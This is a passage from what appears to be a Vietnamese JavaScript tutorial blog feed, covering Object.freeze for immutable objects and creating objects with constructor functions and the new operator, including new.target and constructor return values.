width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo immutable object sử dụng <code>Object.freeze</code></h2> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze()</a> làm cho object không thể thay đổi, bao gồm:</p> <ul> <li><strong>Không thể thêm thuộc tính mới</strong> vào object.</li> <li>Thuộc tính đã có thì <strong>không thể cập nhật</strong> và <strong>không thể bị xoá bỏ</strong>.</li> </ul> <blockquote> <p><code>Object.freeze()</code> có thể dịch ra là "đóng băng object".</p> </blockquote> <h3 id="cách-sử-dụng-objectfreeze" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-objectfreeze" aria-label="cách sử dụng objectfreeze permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng <code>Object.freeze</code></h3> <p>Ví dụ sử dụng <code>Object.freeze()</code> để tạo immutable object:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">freeze</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đóng băng object</span></span> obj<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// cập nhật thuộc tính đã có</span> obj<span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// thêm thuộc tính mới</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// { a: 1 }</span></code></pre></div> <p>Bạn thấy rằng <code>obj</code> vẫn không hề thay đổi.</p> <p>Nếu sử dụng ở <strong>strict mode</strong> thì đoạn code sau sẽ bị lỗi:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token string">"use strict"</span><span class="token punctuation">;</span></span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">freeze</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đóng băng object</span> obj<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError:</span> <span class="token comment">// Cannot assign to read only property 'a' of object '#&lt;Object>'</span></code></pre></div> <p>Vì khi sử dụng <code>Object.freeze()</code>, tất cả các thuộc tính trong object đều trở thành <strong>read-only</strong>.</p> <h3 id="cách-để-unfreeze-object" style="position:relative;"><a href="#c%C3%A1ch-%C4%91%E1%BB%83-unfreeze-object" aria-label="cách để unfreeze object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách để unfreeze object</h3> <p>Tương tự như câu hỏi ở trên.</p> <p><strong>Nếu mình muốn unfreeze object, để biến immutable object thành mutable object thì có được không?</strong></p> <p>Câu trả lời là <strong>KHÔNG</strong>.</p> <p>Bạn <strong>không thể unfreeze object</strong> một khi nó đã freeze.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Trên đây là 2 cách tạo immutable object trong JavaScript.</p> <ul> <li>Sử dụng <code>Object.defineProperty</code> bằng cách set <code>writable</code> thành <code>false</code>.</li> <li>Sử dụng <code>Object.freeze</code>.</li> </ul> <p>Mỗi cách đều có những ưu, nhược điểm riêng. Tuỳ vào từng yêu cầu cụ thể mà bạn lựa chọn cách làm hợp lý.</p> <p>Liên quan đến chủ đề immutable object, có một bài viết khá hay mà bạn có thể tham khảo thêm: <a href="https://ehkoo.com/bai-viet/array-object-immutability-javascript">Tuyệt chiêu đảm bảo tính bất biến trong JavaScript</a>.</p>[email protected]<![CDATA[Khởi tạo object với new trong JavaScript]]><![CDATA[Trong các bài viết trước, mình chủ yếu dùng cú pháp {...} để khởi tạo object. Tuy nhiên, cách này chỉ dùng để khởi tạo một object riêng lẻ. Nếu mình muốn khởi tạo nhiều object…]]>https://completejavascript.com/khoi-tao-object-new-trong-javascript/https://completejavascript.com/khoi-tao-object-new-trong-javascript/<![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Fri, 19 May 2017 20:00:00 GMT<p>Trong các bài viết trước, mình chủ yếu dùng cú pháp <code>{...}</code> để <a href="/object-la-gi-object-trong-javascript/">khởi tạo object</a>. Tuy nhiên, cách này chỉ dùng để <strong>khởi tạo một object riêng lẻ</strong>.</p> <p>Nếu mình muốn khởi tạo <strong>nhiều object tương tự nhau</strong> thì sao?</p> <p>Để giải quyết vấn đề này, bạn có thể sử dụng toán tử <code>new</code> trong JavaScript kết hợp với một <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> khởi tạo.</p> <h2 id="hàm-khởi-tạo-và-new-trong-javascript-là-gì" style="position:relative;"><a href="#h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o-v%C3%A0-new-trong-javascript-l%C3%A0-g%C3%AC" aria-label="hàm khởi tạo và new trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm khởi tạo và new trong JavaScript là gì?</h2> <p>Hàm khởi tạo về bản chất là <strong>một hàm bình thường</strong>, nhưng dùng để <strong>khởi tạo object</strong>.</p> <p>Một số đặc điểm của hàm khởi tạo là:</p> <ul> <li>Hàm khởi tạo thường được <strong>viết hoa chữ cái đầu</strong> (không bắt buộc) để dễ dàng phân biệt với các hàm bình thường.</li> <li>Hàm khởi tạo <strong>chỉ nên sử dụng</strong> với toán tử <code>new</code> trong JavaScript.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> root <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Point</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>root<span class="token punctuation">.</span>x<span class="token punctuation">,</span> root<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 0</span></code></pre></div> <p>Khi một hàm được gọi với toán tử <code>new</code>, <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript Engine</a> sẽ xử lý các bước như sau:</p> <ol> <li>Khởi tạo object rỗng và gán cho <a href="/phuong-thuc-object-va-this-trong-javascript/"><code>this</code></a>.</li> <li>Các câu lệnh trong thân hàm được thực thi, thường là cập nhật <code>this</code> hoặc thêm các thuộc tính cho <code>this</code>.</li> <li>Trả về giá trị của <code>this</code>.</li> </ol> <p>Nói cách khác, cú pháp <code>new Point(...)</code> thực hiện:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token comment">// this = {}; // ngầm định khởi tạo object rỗng</span></span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token comment">// return this; // ngầm định trả về this</span></span><span class="token punctuation">}</span></code></pre></div> <p>Như vậy, <code>new Point(0,0)</code> tương đương với cách khởi tạo object là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> root <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Bây giờ, nếu bạn muốn tạo ra các <strong>point</strong> khác, bạn chỉ cần gọi <code>new p1(1, 2)</code>, <code>new p2(2, 3)</code>,... thay vì phải sử dụng cú pháp <code>{...}</code> nhiều lần (và dài dòng hơn).</p> <blockquote> <p>📝 <strong>Chú ý:</strong></p> <p><strong>Mục đích chính của hàm khởi tạo</strong> là để dễ dàng <strong>tái sử dụng code</strong>.</p> <p><a href="/arrow-function-la-gi-arrow-function-trong-js/">Arrow function</a> không có <code>this</code> nên không được dùng làm hàm khởi tạo.</p> <p>Nếu hàm khởi tạo không có tham số thì bạn có thể bỏ qua cặp dấu ngoặc đơn <code>()</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">function Point() { this.x = 0; this.y = 0; } let root = new Point; console.log(root.x, root.y); // 0</code></pre></div> <p>Tuy nhiên, mình khuyên bạn nên sử dụng cách gọi hàm khởi tạo với cặp dấu ng<code>()</code>, vì nó chuẩn hơn và <strong>đúng với cú pháp gọi hàm</strong>.</p> </blockquote> <h2 id="khai-báo-và-khởi-tạo-object-với-new-function" style="position:relative;"><a href="#khai-b%C3%A1o-v%C3%A0-kh%E1%BB%9Fi-t%E1%BA%A1o-object-v%E1%BB%9Bi-new-function" aria-label="khai báo và khởi tạo object với new function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khai báo và khởi tạo object với <code>new function(){...}</code></h2> <p>Bạn có thể khai báo, đồng thời khởi tạo object ngay với cú pháp <code>new function(){...}</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> root <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">/* * Code xử lý khác tại đây */</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>root<span class="token punctuation">.</span>x<span class="token punctuation">,</span> root<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1 2</span></code></pre></div> <p>Cú pháp này gọi là <a href="https://en.wikipedia.org/wiki/Immediately_invoked_function_expression">IFFE</a>.</p> <p>Khi tạo object theo cách này, hàm khởi tạo sẽ chỉ được gọi một lần (vì bản chất hàm khởi tạo <strong>không được lưu vào biến nào</strong>).</p> <p>Vì vậy, mục đích của cách khai báo này <strong>không phải để tái sử dụng</strong>, mà để đóng gói code liên quan trong một hàm khởi tạo.</p> <h2 id="kiểm-tra-hàm-khởi-tạo-được-gọi-với-new-trong-javascript" style="position:relative;"><a href="#ki%E1%BB%83m-tra-h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o-%C4%91%C6%B0%E1%BB%A3c-g%E1%BB%8Di-v%E1%BB%9Bi-new-trong-javascript" aria-label="kiểm tra hàm khởi tạo được gọi với new trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra hàm khởi tạo được gọi với new trong JavaScript</h2> <p>Để kiểm tra hàm khởi tạo có được gọi với new trong JavaScript hay không, bạn sử dụng thuộc tính đặc biệt là <code>new.target</code>.</p> <p>Nếu hàm được gọi theo cách thông thường thì <code>new.target</code> sẽ bằng <code>undefined</code>, ngược lại <code>new.target</code> bằng chính function:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span><span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">Point</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span> <span class="gatsby-highlight-code-line"><span class="token keyword">new</span> <span class="token class-name">Point</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ƒ Point() { console.log(new.target); }</span></span></code></pre></div> <p>Thuộc tính đặc biệt này có thể được áp dụng để kiểm tra xem hàm khởi tạo có được gọi với <code>new</code> hay không.</p> <p>Trường hợp hàm khởi tạo không được gọi với <code>new</code>, mình có thể xử lý thêm để trả về giống cách gọi hàm với <code>new</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">new</span><span class="token punctuation">.</span>target<span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Point</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> root <span class="token operator">=</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>root<span class="token punctuation">.</span>x<span class="token punctuation">,</span> root<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 0</span></code></pre></div> <p>Với cách viết như này, bạn có thể khởi tạo object với <code>new</code> hoặc không có <code>new</code> thì đều cho kết quả giống nhau.</p> <blockquote> <p>💡 <strong>Chú ý:</strong></p> <p><code>new.target</code> ít được sử dụng trong thực tế.</p> <p>Việc khởi tạo object <strong>nên luôn luôn sử dụng từ khóa <code>new</code></strong> để đảm bảo code rõ ràng và dễ hiểu nhất.</p> </blockquote> <h2 id="trả-về-giá-trị-từ-hàm-khởi-tạo" style="position:relative;"><a href="#tr%E1%BA%A3-v%E1%BB%81-gi%C3%A1-tr%E1%BB%8B-t%E1%BB%AB-h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="trả về giá trị từ hàm khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Trả về giá trị từ hàm khởi tạo</h2> <p>Thông thường, hàm khởi tạo không có từ khóa <code>return</code> vì JavaScript Engine ngầm định sẽ trả về <code>this</code>. Tuy nhiên, bạn có thể sử dụng <code>return</code> trong hàm khởi tạo với quy tắc như sau:</p> <ul> <li>Nếu <code>return</code> được gọi với <strong>object</strong> thì giá trị trả về của hàm khởi tạo là object chứ không phải <code>this</code>.</li> <li>Nếu <code>return</code> được gọi với giá trị nguyên thủy, <code>return</code> sẽ bị bỏ qua.</li> </ul> <p>Nói cách khác, <code>return</code> với một object sẽ trả về object đó, ngược lại thì trả về <code>this</code>.</p> <p>Ví dụ hàm khởi tạo trả về một object khác <code>this</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">100</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">100</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// trả về object này thay vì this</span></span><span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Point</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span>x<span class="token punctuation">,</span> p<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 100 100</span></span></code></pre></div> <p>Ví dụ hàm khởi tạo trả về giá trị nguyên thủy:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// return trả về giá trị nguyên thủy bị bỏ qua</span></span><span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Point</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span>x<span class="token punctuation">,</span> p<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 0</span></span></code></pre></div> <h2 id="định-nghĩa-phương-thức-trong-hàm-khởi-tạo" style="position:relative;"><a href="#%C4%91%E1%BB%8Bnh-ngh%C4%A9a-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-trong-h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="định nghĩa phương thức trong hàm khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Định nghĩa phương thức trong hàm khởi tạo</h2> <p>Object không chỉ có thuộc tính mà còn có cả <a href="/phuong-thuc-object-va-this-trong-javascript/">phương thức</a>.</p> <p>Và dĩ nhiên, bạn có thể <strong>định nghĩa phương thức trong hàm khởi tạo</strong> của object, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Point</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">printLog</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>x<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> root <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Point</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">root<span class="token punctuation">.</span><span class="token function">printLog</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 0</span></span></code></pre></div> <p>Để tạo nhiều object phức tạp hơn, bạn có thể sử dụng cú pháp nâng cao hơn như <strong>prototype</strong> hay <strong>class</strong> (sẽ được giới thiệu sau).</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về khởi tạo object với toán tử <code>new</code> trong JavaScript:</p> <ul> <li>Hàm khởi tạo là một hàm thông thường nhưng được dùng để khởi tạo object.</li> <li>Hàm khởi tạo thường viết hoa chữ cái đầu tiên.</li> <li>Hàm khởi tạo chỉ nên sử dụng với toán tử <code>new</code>. Khi đó, JavaScript ngầm định tạo ra một object rỗng ở đầu hàm và gán cho <code>this</code>. Sau đó, cuối hàm sẽ <code>return</code> về <code>this</code>.</li> <li>Arrow function không có <code>this</code> nên không được dùng làm hàm khởi tạo.</li> <li>Bạn có thể khai báo và gọi hàm ngay lập tức với 